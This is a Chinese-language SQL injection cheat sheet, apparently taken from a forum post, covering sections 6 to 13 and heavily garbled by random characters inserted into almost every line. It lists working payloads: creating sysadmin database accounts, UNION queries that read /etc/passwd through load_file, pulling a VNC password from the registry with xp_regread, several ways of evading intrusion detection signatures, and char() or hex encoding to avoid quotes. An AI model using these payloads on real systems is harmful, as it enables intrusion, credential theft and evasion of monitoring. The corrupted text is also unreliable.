7 ?7 d Q; P! |5 h' P4 s+ ~ 9 b% H2 I5 X9 ]/ E; B6、创建数据库帐号1 m* n. B( a2 f1 U* m
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MS SQL8 ~, l4 [& p* J
7 ~+ M5 \$ d! Y( m0 qexec sp_addlogin ‘name’ , ‘password’ N$ m- O) G9 W; T* E
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exec sp_addsrvrolemember ‘name’ , ’sysadmin’ 9 t0 ]2 x6 p$ i8 J( I" K) L+ ?# F' |, C
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MySQL% Y9 s9 N$ U7 }* Y" d
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INSERT INTO mysql.user (user, host, password) VALUES (’name’, ‘localhost’, PASSWORD(’pass123′)) 2 F. J; v( u6 e P$ [+ I' h / T) s( B* r" `: N' `2 S+ {, R/ d2 o 4 M; n' m$ V3 d # f$ a. I$ ]5 _- `4 m) BAccess / Q9 \: @0 P1 H8 h8 ?" m 5 [3 q, {8 q, j8 h4 fCRATE USER name IDENTIFIED BY ‘pass123′ 2 g x0 E" Y, g, @9 d 4 C- Z* { W: U D u7 Y4 H( a; w4 [1 v. i
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Postgres (requires Unix account) $ _2 k/ Z. c1 H - j3 M2 X5 O/ z& vCRATE USER name WITH PASSWORD ‘pass123′ 7 ~# l4 J9 G0 ?4 a* i$ q8 j7 L + g% H$ U) _/ J( q5 X# f& t0 y! @" B4 z" d! |3 @& ^* k$ x
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Oracle; p$ b0 c0 \4 ]
2 F9 o) I" [6 Z0 DCRATE USER name IDENTIFIED BY pass123" C8 ^5 W$ h$ J
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TEMPORARY TABLESPACE temp " o7 I( H3 Y* {- u, C5 E8 K & _# j z% i. b DEFAULT TABLESPACE users;: @. M4 h& q4 t* h: o" ], w" g
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GRANT CONNECT TO name;. J# n# Q* e- q+ M
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GRANT RESOURCE TO name;- ?# g3 _: M, Y0 a* q
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/ o; Q) R" q! _" j' Q2 W7、MYSQL交互查询 ) h& i, T2 K, d) S / e9 C; l8 y! |; W M N6 M$ o使用Union查询,暴出文件代码,如下: ; s$ ~2 ~& |0 _' v! k B5 ^ : L4 H* p1 l. b. s- ‘ union select 1,load_file(’/etc/passwd’),1,1,1; 0 R/ p9 T6 m# k) w. V % E+ _0 d/ f% V: C! J- G/ e) ~) J$ S( i& T) V" Q l2 l! }, R
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8、系统服务名和配置 7 e8 s% T9 r; o6 A& `1 b0 `- K5 z5 w/ g& ^* |
- ‘ and 1 in (select @@servername)–, E$ ]# g I$ t6 o" B
! l5 D8 o+ ?6 O# I' Z4 h- ‘ and 1 in (select servername from master.sysservers)– c. x1 d5 `( S z8 A. E' ]& j3 U4 r+ W& s& m; B) K
( h2 H% E( @) K! i+ e( N4 ]9、找到VNC密码(注册表) ) T3 j1 b/ g, @3 U$ A5 N L: r! i0 w8 Z
实验语句如下:: k& I2 Q# a+ w- S; b
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- ‘; declare @out binary(8) ! a& o( V! S/ }, l' l5 y. z* ?3 z3 L$ N+ {# f- h: q
- exec master..xp_regread u8 s* n/ Z6 g- n+ v& p) t
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- @rootkey = ‘HKEY_LOCAL_MACHINE’, 0 y* x- p4 K' m, a$ S: u" I, `* [) h, Y. N, b
- @key = ‘SOFTWARE\ORL\WinVNC3\Default’, ) n) d7 T: j3 K3 l m5 D" I$ C9 d' {2 u% {" S
- @value_name=’password’, ; j1 Q. `2 U0 s: ^! L, Z6 Q: x4 p ' k1 m: L- }4 g; F% U- @value = @out output ' `$ v5 D# i$ C- l+ T' V2 Q. q# ]0 a% u$ d; |1 y3 \" _% a
- select cast (@out as bigint) as x into TEMP–2 d- B9 d% p# i+ L
+ j5 M; P R- T$ _- ‘ and 1 in (select cast(x as varchar) from temp)– 3 H2 j% I4 [, Q! a7 b+ p; e R: G" a! `+ B9 ~; d
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& D J' h3 I( Z2 o3 J10、避开IDS检测- K% L* h. m3 z
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Evading ‘ OR 1=1 Signature # y. y. Z) o" ^, o0 n- o1 t. }! q" z) q- `' W3 e3 z3 |
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- ‘ OR ‘unusual’ = ‘unusual’ ( V; j- h" x* b" {4 l+ G# \$ k+ P/ _6 X# s- a/ w
- ‘ OR ’something’ = ’some’+'thing’ ! J. x1 v! H4 S2 O! u" @ & C0 c4 B& S' `& z& C5 B* A- ‘ OR ‘text’ = N’text’ - S j) T$ x8 x. l, C! A0 e & \( ~) y# v4 A6 {. `6 U- ‘ OR ’something’ like ’some%’ * ~7 n, s! ~* H: S8 N$ e& ?4 B5 I. N7 \% O* v4 D x) W r
- ‘ OR 2 > 1' K; {7 G U: B4 O ^/ I" o
! A) o! T' N3 q- ‘ OR ‘text’ > ‘t’ + m; d7 b% F" ?% ~# v4 h3 |* z* T! }& A/ l3 _2 i
- ‘ OR ‘whatever’ in (’whatever’)- b8 _ a( u9 }
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- ‘ OR 2 BETWEEN 1 and 3. r& g8 U3 X8 v: K. K7 c, ^- L
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c8 v7 K, ?. m" Z0 r# x p11、MYSQL中使用char()函数 ' e8 u& W7 T6 i5 I# V$ g, p- W
不带引号的注射,例如: (string = “%”): - G7 |/ n( E; m6 b( a 0 P& F! A! X' n! }/ M4 C2 u1 h. O: h5 Z–> ‘ or username like char(37);5 R9 l+ A* o7 o; y
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带引号的注射,例如: (string=”root”): $ A$ }* l) `- t+ }9 A; W: T7 e1 t- k6 G# |6 Z: J9 e
–> ‘ union select * from users where login = char(114,111,111,116);' m: G/ A% G. ~8 j
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在 unions中使用load files 函数,例如:(string = “/etc/passwd”):! Q) p8 d" s8 ^8 c, E0 c7 m; |
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–>’ union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; ; @# N9 {& e, z" [" k. e" T. p# m( X6 u/ `$ P. l+ e' k, Y) }
检查文件是否存在,例如: (string = “n.ext”): - z* \& E( H8 W& P3 z! @0 ?6 ^7 W4 w( A/ c' Y; W
–>’ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); 4 z/ ?1 \& D+ z8 P 9 C: v+ z3 L/ d ( r: }$ W9 L- M1 L+ M6 ~ # Z+ |4 s% G* ~+ Y b* x B/ q12、利用注释符号避开IDS 0 o, W% R, V2 a* p1 }8 N3 P2 m0 B 3 z2 C2 t6 R$ O8 l4 D8 Y# o# r8 o举例如下: S- y; Y/ S- R: _# O+ K8 [ ' ^! ~, ]/ H! G$ }7 w2 K) ~–>’/**/OR/**/1/**/=/**/1 2 A: ?7 S2 S9 C$ u9 `, t( }3 j" A2 I1 v7 F
–>Username:’ or 1/*( T* P u1 U; E. j* W7 Q; H
, C1 [6 H0 C3 }6 L–>Password:*/=1–; A1 f q* y6 U2 r9 r: H
" j' M4 K. n- p& K–>UNI/**/ON SEL/**/ECT (!!!这个比较罕见,应该大有作为!!!)! E D. T" Q0 Q+ M" E
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–>(Oracle) ‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’ / h8 O8 K3 O8 B1 W- O. o7 v" c, L , v3 F6 |0 l; d/ Y5 R- J2 }–>(MS SQL) ‘; EXEC (’SEL’ + ‘ECT US’ + ‘ER’)- Q; s& d$ E4 I- S4 _& a
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13、不带引号的字符串( q" A: q2 H. W4 i2 t M
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用char()或者0X来构造不含引号的语句。。 ! C- J1 \0 t# f0 O7 q8 t - |7 C! u& W# P1 s% C0 {–> INSERT INTO Users(Login, Password, Level) VALUES( char(0×70) + char(0×65) + char(0×74) + char(0×65) + char(0×72) + char(0×70) + char(0×65) + char(0×74) + char(0×65) + char(0×72), 0×64) 3 i4 z1 h | n2 r3 N: a